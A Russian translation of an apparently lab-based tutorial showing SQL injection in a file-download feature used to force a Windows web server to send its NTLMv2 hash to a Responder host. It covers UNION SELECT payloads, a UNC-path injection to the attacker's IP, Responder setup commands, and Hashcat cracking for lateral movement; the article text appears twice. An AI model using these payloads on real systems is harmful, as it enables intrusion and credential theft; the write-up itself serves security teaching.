Пранам всем _ / \ _ 
В этом посте я расскажу о ситуации, в которой можно воспользоваться SQLi, чтобы заставить веб-сервер выдать NTLMv2 хеш.
Описание цепочки уязвимостей
У нас есть веб-приложение уязвимое к SQL-инъекции в функции загрузки файлов. Веб-приложение обрабатывает неотфильтрованные данные пользователя в SQL-запросе, и уже на основе вывода SQL-запроса приложение вызывает функцию загрузки файла. Функция загрузки файлов ищет файл по пути полученному из SQL-запроса, и передает его пользователю для скачивания.
Настройка среды
Для выполнения этого задания моя демонстрационная среда была настроена следующим образом:
Компьютер с Windows Server 2012:
Это компьютер контроллера домена Active Directory.
Компьютер Windows 7, клиент Active Directory:
На нем стоит ОС Windows 7, и он является частью домена Windows Active Directory. Веб-приложение размещено на этом устройстве, а веб-сервер работает с привилегиями одного из пользователей домена Windows Active Directory (устройство пользователя).
Компьютер с Backbox Linux:
Это компьютер, на котором Responder ждет запросов от SMB file server service на 445 порту.
Краткое описание атаки
Веб-приложение, подверженное SQL-инъекции, возвращает имя файла в выводе SQL-запроса. В этом случае можно внедрить SQL запрос, который вернет нужное имя файла как результат обработки запроса.
Далее, веб-приложение вызывает функцию загрузки файла, передавая ей имя файла, выданное запросом. Функция загрузки будет искать файл в следующих местах:
Локальная файловая система
Удаленная файловая система (SMB)
Тепер нужно создать запрос SQL, выдающий путь к папке SMB на удаленной машине где работает Responder. Путь к файлу должен выглядеть таким образом:
В данном случае IP-адрес компьютера, на котором работает Responder, “192.168.56.106”. Таким образом, путь будет выглядеть так:
Функция загрузки файла отправит запрос на доступ к файлу “box.txt” на машине с Responder, и вот тут мы увидим Responder в действии. Responder заставит веб-службу пройти аутентификацию, чтобы получить доступ к файлу, а веб-сервер перенаправит данные аутентификации Responder’у.
Загрузка и запуск инструмента Responder
Загрузите инструмент и запустите его на сетевом интерфейсе, доступном для сервера веб-приложений. В этом случае веб-приложение размещается во внутренней сети, в диапазоне 192.168.56.1-255. Так что Responder работает на интерфейсе с адресом 192.168.56.106 (eth1).
Имя интерфейса и IP-адрес, на котором работает Responder:
Уязвимый код и среда веб-сервера
Код веб-приложения подверженному SQLi:
Пользователь MySQL - это обычная пользовательская учетная запись, которая не имеет особых привилегий, таких как “file_priv”.
Уязвимый код хостится на компьютере с Windows 7 под адресом 192.168.56.3. Этот компьютер является частью домена "lab.indishell.lab".
Приложение по умолчанию ведет себя так: пользователь задает целое число (integer) для параметра “image” HTTP GET запроса, а приложение проверяет, существует ли изображение с указанным значением или нет. Если изображение с заданным параметром существует, появится окно загрузки файла.
Определение количества столбцов в текущем запросе SQL
В нашем случае точка SQL-инъекции уязвима к Integer-based SQL Injection.
Помните, что если запрос выполнился правильно и вернул результат, мы получим окно загрузки файла. Если запрос SQL не выполнился должным образом или возникнет ошибка SQL, окно не появится.
При добавлении «одинарной кавычки» (') приложение выдало ошибку.
Давайте узнаем количество столбцов через фаззинг веб-приложения. Чтобы найти количество столбцов, мы будем увеличивать значение “order by”, до тех пор, пока веб-приложение не перестанет выдавать окно загрузки файла.
Ответ приложения, когда мы внедрили параметр с полезной нагрузкой SQL Injection "order by 1-- -".
Веб-приложение не выдало окно загрузки файла, когда мы увеличили значение выражения “order by” с 1 до 4, что указывает на то, что число столбцов, используемых оператором SELECT, меньше 4.
Теперь введите в URL оператор UNION с количеством столбцов 3. Это будет выглядеть так:
Поиск номера столбца, который передает имя файла в функцию загрузки файла
Примечание: Убедитесь, что фактическое значение, указанное в уязвимом параметре не существует, чтобы SQL-запрос возвращал результат введенного запроса. В этом случае я добавил "." со значением 2, чтобы сделать его несуществующим.
Теперь мы знаем количество столбцов, и нам нужно выяснить номер столбца, который позволит нам указать путь к файлу.
Для этого нам нужно поместить имя файла или полный путь к файлу (который мы хотим загрузить) в столбцы один за другим, пока мы не найдем номер столбца, который передает имя файл в функцию загрузки файла.
Мы можем указать любой системный файл, например, «/Windows/System32/drivers/etc/hosts» в столбце и наблюдать, выдает ли приложение окно загрузки файла.
Запрос для SQL-инъекции будет таким:
А для файла "hosts" в "/Windows/System32/drivers/etc/", запрос будет выглядеть так:
Если приложение не выдает окно загрузки, продолжайте изменять номер столбца в запросе. Например, проверим передает ли SQL-сервер результат второго столбца функции скачивания файлов:
В моем случае столбец 3 - это столбец, который передает путь к файлу приложения.
Таким образом запрос показаный ниже вернет в результате путь к файлу «hosts», что вызовет функцию скачивания файла, и мы сможем скачать файл:
Использование SQL-инъекции для получения хеша NTLMv2
Теперь, когда столбец, возвращающий путь к файлу, определен, нам нужно указать IP-адрес компьютера, на котором работает Responder, и случайное имя файла.
Это будет выглядеть так:
Проверьте Responder и посмотрите, получил ли он хеши NTLMv2.
В данном случае я получил хеш.
Взлом NTLMv2 хеша Hashcat'ом
Чтобы получить пароль из полученного хеша NTLMv2, мы можем использовать инструмент взлома хешей Hashcat.
В этом случае я решил подобрать пароль к хешу NTLMv2 через словарь. Пароль был слабым, поэтому мне получилось его подобрать.
Этот хеш NTLMv2 принадлежит пользователю домена Active Directory «box».
Теперь у нас есть имя пользователя и пароль пользователя домена. Используйте эти учетные данные для дальнейшего продвижения в сети.
Спасибо за внимание
Перевод: r_as
Источник: Stealing NTLMv2 hash by abusing SQL injection in File download functionality
В этом посте я расскажу о ситуации, в которой можно воспользоваться SQLi, чтобы заставить веб-сервер выдать NTLMv2 хеш.
Описание цепочки уязвимостей
У нас есть веб-приложение уязвимое к SQL-инъекции в функции загрузки файлов. Веб-приложение обрабатывает неотфильтрованные данные пользователя в SQL-запросе, и уже на основе вывода SQL-запроса приложение вызывает функцию загрузки файла. Функция загрузки файлов ищет файл по пути полученному из SQL-запроса, и передает его пользователю для скачивания.
Настройка среды
Для выполнения этого задания моя демонстрационная среда была настроена следующим образом:
- Компьютер с Windows Server 2012 (IP - 192.168.56.2)
- Компьютер с Windows 7, клиент Active Directory (IP - 192.168.56.3)
- Компьютер с Backbox Linux (IP - 192.168.56.106)
Компьютер с Windows Server 2012:
Это компьютер контроллера домена Active Directory.
Компьютер Windows 7, клиент Active Directory:
На нем стоит ОС Windows 7, и он является частью домена Windows Active Directory. Веб-приложение размещено на этом устройстве, а веб-сервер работает с привилегиями одного из пользователей домена Windows Active Directory (устройство пользователя).
Компьютер с Backbox Linux:
Это компьютер, на котором Responder ждет запросов от SMB file server service на 445 порту.
Краткое описание атаки
Веб-приложение, подверженное SQL-инъекции, возвращает имя файла в выводе SQL-запроса. В этом случае можно внедрить SQL запрос, который вернет нужное имя файла как результат обработки запроса.
Далее, веб-приложение вызывает функцию загрузки файла, передавая ей имя файла, выданное запросом. Функция загрузки будет искать файл в следующих местах:
Локальная файловая система
Удаленная файловая система (SMB)
Тепер нужно создать запрос SQL, выдающий путь к папке SMB на удаленной машине где работает Responder. Путь к файлу должен выглядеть таким образом:
\\Responder_Server_IP\file_nameВ данном случае IP-адрес компьютера, на котором работает Responder, “192.168.56.106”. Таким образом, путь будет выглядеть так:
\\192.168.56.106\box.txtФункция загрузки файла отправит запрос на доступ к файлу “box.txt” на машине с Responder, и вот тут мы увидим Responder в действии. Responder заставит веб-службу пройти аутентификацию, чтобы получить доступ к файлу, а веб-сервер перенаправит данные аутентификации Responder’у.
Загрузка и запуск инструмента Responder
Загрузите инструмент и запустите его на сетевом интерфейсе, доступном для сервера веб-приложений. В этом случае веб-приложение размещается во внутренней сети, в диапазоне 192.168.56.1-255. Так что Responder работает на интерфейсе с адресом 192.168.56.106 (eth1).
git clone https://github.com/lgandx/Responder-Windows.git
cd Responder-Windows
python Responder.py -I <interface_name>
Имя интерфейса и IP-адрес, на котором работает Responder:
Уязвимый код и среда веб-сервера
Код веб-приложения подверженному SQLi:
Пользователь MySQL - это обычная пользовательская учетная запись, которая не имеет особых привилегий, таких как “file_priv”.
Уязвимый код хостится на компьютере с Windows 7 под адресом 192.168.56.3. Этот компьютер является частью домена "lab.indishell.lab".
Приложение по умолчанию ведет себя так: пользователь задает целое число (integer) для параметра “image” HTTP GET запроса, а приложение проверяет, существует ли изображение с указанным значением или нет. Если изображение с заданным параметром существует, появится окно загрузки файла.
Определение количества столбцов в текущем запросе SQL
В нашем случае точка SQL-инъекции уязвима к Integer-based SQL Injection.
Помните, что если запрос выполнился правильно и вернул результат, мы получим окно загрузки файла. Если запрос SQL не выполнился должным образом или возникнет ошибка SQL, окно не появится.
При добавлении «одинарной кавычки» (') приложение выдало ошибку.
Давайте узнаем количество столбцов через фаззинг веб-приложения. Чтобы найти количество столбцов, мы будем увеличивать значение “order by”, до тех пор, пока веб-приложение не перестанет выдавать окно загрузки файла.
Ответ приложения, когда мы внедрили параметр с полезной нагрузкой SQL Injection "order by 1-- -".
Веб-приложение не выдало окно загрузки файла, когда мы увеличили значение выражения “order by” с 1 до 4, что указывает на то, что число столбцов, используемых оператором SELECT, меньше 4.
Теперь введите в URL оператор UNION с количеством столбцов 3. Это будет выглядеть так:
union select 1,2,3-- -Поиск номера столбца, который передает имя файла в функцию загрузки файла
Примечание: Убедитесь, что фактическое значение, указанное в уязвимом параметре не существует, чтобы SQL-запрос возвращал результат введенного запроса. В этом случае я добавил "." со значением 2, чтобы сделать его несуществующим.
Теперь мы знаем количество столбцов, и нам нужно выяснить номер столбца, который позволит нам указать путь к файлу.
Для этого нам нужно поместить имя файла или полный путь к файлу (который мы хотим загрузить) в столбцы один за другим, пока мы не найдем номер столбца, который передает имя файл в функцию загрузки файла.
Мы можем указать любой системный файл, например, «/Windows/System32/drivers/etc/hosts» в столбце и наблюдать, выдает ли приложение окно загрузки файла.
Запрос для SQL-инъекции будет таким:
union select 'file_name',2,3-- -
А для файла "hosts" в "/Windows/System32/drivers/etc/", запрос будет выглядеть так:
union select '/Windows/System32/drivers/etc/hosts',2,3-- -Если приложение не выдает окно загрузки, продолжайте изменять номер столбца в запросе. Например, проверим передает ли SQL-сервер результат второго столбца функции скачивания файлов:
union select 1,'/Windows/System32/drivers/etc/hosts',3-- -
В моем случае столбец 3 - это столбец, который передает путь к файлу приложения.
Таким образом запрос показаный ниже вернет в результате путь к файлу «hosts», что вызовет функцию скачивания файла, и мы сможем скачать файл:
Использование SQL-инъекции для получения хеша NTLMv2
Теперь, когда столбец, возвращающий путь к файлу, определен, нам нужно указать IP-адрес компьютера, на котором работает Responder, и случайное имя файла.
Это будет выглядеть так:
union select 1,2,'\\\\192.168.56.106\\box.txt'-- -Проверьте Responder и посмотрите, получил ли он хеши NTLMv2.
В данном случае я получил хеш.
Взлом NTLMv2 хеша Hashcat'ом
Чтобы получить пароль из полученного хеша NTLMv2, мы можем использовать инструмент взлома хешей Hashcat.
В этом случае я решил подобрать пароль к хешу NTLMv2 через словарь. Пароль был слабым, поэтому мне получилось его подобрать.
Этот хеш NTLMv2 принадлежит пользователю домена Active Directory «box».
Теперь у нас есть имя пользователя и пароль пользователя домена. Используйте эти учетные данные для дальнейшего продвижения в сети.
Спасибо за внимание
Перевод: r_as
Источник: Stealing NTLMv2 hash by abusing SQL injection in File download functionality